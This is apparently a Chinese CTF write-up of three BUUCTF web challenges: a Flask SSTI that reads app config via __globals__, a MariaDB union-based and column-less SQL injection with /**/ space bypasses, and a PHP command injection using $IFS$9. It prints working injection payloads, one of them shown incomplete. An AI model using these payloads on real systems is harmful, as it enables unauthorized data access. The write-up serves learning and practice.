buuctf10
[WesternCTF2018]shrine
1 | import flask |
python ssti注入 过滤()还有config以及self,由于过滤了括号,所以刚学的设置变量的方法在这里就不能使用了,看一下别人wp的思路吧:
app.config[‘FLAG’] = os.environ.pop(‘FLAG’) 首先这里说flag在config这个文件里面,那么如何查看这个变量呢?
这里介绍两个函数:url_for
和get_flashed_message
通过这两个函数,来查询现在app
内的全局变量。(get_flashed_messages
函数返回之前在Flask中通过flash()
传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用get_flashed_messages()
方法取出,闪现信息只能取出一次,取出后闪现信息会被清空。)
__globals__
function.__globals__
,用于获取function所处空间下可使用的module、方法以及所有变量。
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。
有了这两个知识点 我们就可以构造payload:
1 | {{get_flashed_message.__globals__.}}//'current_app': <Flask 'app'>, |
需要注意的是 当你使用了get_flashed_message以后 查询出一次将不会再查询出第二次了
思路小结:
查看源码,发现flag在app的config的配置文件中——思考如何在()被过滤的情况下获取flag变量——globals可以获得所有变量——如何读取?——寻找可读取变量的函数。
[SWPU2019]Web1
存在sql注入 不过是MariaDB数据库而不是mysql数据库,测试了一下发现空格被过滤 使用/**/进行绕过并且union select没被过滤所以使用联合注入:
1 | -1'union/**/select/**/1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
1 | -1'union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
查询表的库总结
在information_schema中,除了SCHEMATA,TABLES,COLUMNS有表信息外,高版本的mysql中,还有INNODB_TABLES及INNODB_COLUMNS、sys.schema_auto_increment_columns、mysel.innodb_table_stats记录着表结构
本题查询表的payload:
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
ads,users
无列名注入:
PS:为啥后面有个a呢?因为,进行嵌套查询的时候子查询出来的的结果是作为一个派生表来进行上一级的查询的,所以子查询的结果必须要有一个别名
把MySQL语句改成:select * from (select * from ……) as 别名; as可以省略:
所以此时我们就可进行无列明注入了:
本题payload:
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
2,flag,admin,admin1
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(a)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
1 | -1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22 |
这里我们是定义了表为b 并且将后面的查询到的数据暂时存入该表中
[WUSTCTF2020]朴实无华
robots.txt里面发现一个fakeflag,然后打开包发现fl4g.php打开发现源码
Look_at_me: /fl4g.php
1 | <?php |
1 | fl4g.php?num=0x1234&md5=0e215962017&get_flag=more$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag |
不能使用cat,用more代替 不能使用空格,可以用之前用到的$IFS$9代替 先使用ls命令查到flag的位置
众所周知linux中命令cat、more、less均可用来查看文件内容,主要区别有:新学的知识点
cat是一次性显示整个文件的内容,还可以将多个文件连接起来显示,它常与重定向符号配合使用,适用于文件内容少的情况;
more和less一般用于显示文件内容超过一屏的内容,并且提供翻页的功能。more比cat强大,提供分页显示的功能,less比more更强大,提供翻页,跳转,查找等命令。而且more和less都支持:用空格显示下一页,按键b显示上一页。下面详细介绍这3个命令。
https://blog.csdn.net/xyw_blog/article/details/16861681